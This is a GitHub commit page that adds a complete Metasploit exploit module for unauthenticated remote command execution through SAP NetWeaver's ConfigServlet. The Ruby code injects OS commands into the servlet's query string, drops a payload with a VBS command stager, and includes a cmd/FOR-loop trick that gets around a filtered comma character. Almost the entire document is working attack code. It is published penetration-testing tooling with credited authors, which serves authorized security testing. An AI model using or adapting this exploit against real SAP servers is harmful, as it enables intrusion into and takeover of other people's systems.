Skip to content

Commit 308b880

Browse files
author
jvazquez-r7
committed
Land rapid7#1759, @andrewkabai's exploit for SAP Portal Command Execution
2 parents dcd5448 + 5839e7b commit 308b880

File tree

1 file changed

+135
-0
lines changed

1 file changed

+135
-0
lines changed
Lines changed: 135 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit
11+
Rank = GreatRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::CmdStagerVBS
15+
include Msf::Exploit::FileDropper
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'SAP ConfigServlet Remote Code Execution',
20+
'Description' => %q{
21+
This module allows remote code execution via operating system commands through
22+
the SAP ConfigServlet without any authentication.
23+
This module has been tested successfully with SAP NetWeaver 7.00 and 7.01 on Windows Server 2008 R2
24+
},
25+
'Author' =>
26+
[
27+
'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
28+
'Andras Kabai' # Metasploit module
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf'],
34+
[ 'OSVDB', '92704'],
35+
[ 'EDB', '24996']
36+
],
37+
'DisclosureDate' => 'Nov 01 2012', # Based on the reference presentation
38+
'Platform' => 'win',
39+
'Targets' =>
40+
[
41+
[
42+
'Windows generic',
43+
{
44+
'Arch' => ARCH_X86
45+
}
46+
]
47+
],
48+
'DefaultTarget' => 0,
49+
'Privileged' => false
50+
))
51+
52+
register_options(
53+
[
54+
Opt::RPORT(50000),
55+
OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet'])
56+
], self.class)
57+
58+
register_advanced_options(
59+
[
60+
OptBool.new('DELETE_FILES', [ true, 'Delete the dropped files after exploitation', true ])
61+
], self.class)
62+
end
63+
64+
def check
65+
uri = normalize_uri(target_uri.path, 'ConfigServlet')
66+
res = send_evil_request(uri, "whoami", 20)
67+
if !res
68+
Exploit::CheckCode::Unknown
69+
elsif res.body.include?("Process created")
70+
Exploit::CheckCode::Vulnerable
71+
else
72+
Exploit::CheckCode::Safe
73+
end
74+
end
75+
76+
def exploit
77+
print_status("#{rhost}:#{rport} - Exploiting remote system")
78+
uri = normalize_uri(target_uri.path, 'ConfigServlet')
79+
80+
execute_cmdstager( { :linemax => 1500, :nodelete => !datastore['DELETE_FILES'], :sap_configservlet_uri => uri })
81+
end
82+
83+
def execute_command(cmd, opts)
84+
commands = cmd.split(/&/)
85+
commands.each do |command|
86+
timeout = 20
87+
if datastore['DELETE_FILES'] and command =~ /shell\.run \"(.*)\"/
88+
register_file_for_cleanup($1)
89+
end
90+
if command.include?(".vbs") and command.include?(",")
91+
# because the comma is bad character and the VBS stager contains commas it is necessary to "create" commas without directly using them
92+
# using the following command line trick it is possible to echo commas into the right places
93+
command.gsub!(",", "%i")
94+
command = "cmd /c FOR /F \"usebackq tokens=2 delims=)\" %i IN (\`\"ping -n 1 127.0.0.1| findstr )\"\`) DO " + command
95+
else
96+
command = "cmd /c " + command
97+
end
98+
if command.include?("cscript")
99+
# in case of bigger payloads the VBS stager could run for longer time as it needs to decode lot of data
100+
# increaste timeout value when the VBS stager is called
101+
timeout = 120
102+
end
103+
vprint_status("Attempting to execute: #{command}")
104+
send_evil_request(opts[:sap_configservlet_uri], command, timeout)
105+
end
106+
end
107+
108+
def send_evil_request(uri, cmd, timeout)
109+
begin
110+
res = send_request_cgi(
111+
{
112+
'uri' => uri,
113+
'method' => 'GET',
114+
'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(cmd)
115+
}, timeout)
116+
117+
if !res
118+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Exploit failed.")
119+
end
120+
121+
if res.code != 200
122+
vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
123+
fail_with(Exploit::Failure::UnexpectedReply, "#{rhost}:#{rport} - Exploit failed.")
124+
end
125+
rescue ::Rex::ConnectionError
126+
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the server.")
127+
end
128+
129+
if not res.body.include?("Process created")
130+
vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
131+
fail_with(Exploit::Failure::PayloadFailed, "#{rhost}:#{rport} - Exploit failed.")
132+
end
133+
return res
134+
end
135+
end

0 commit comments

Comments
 (0)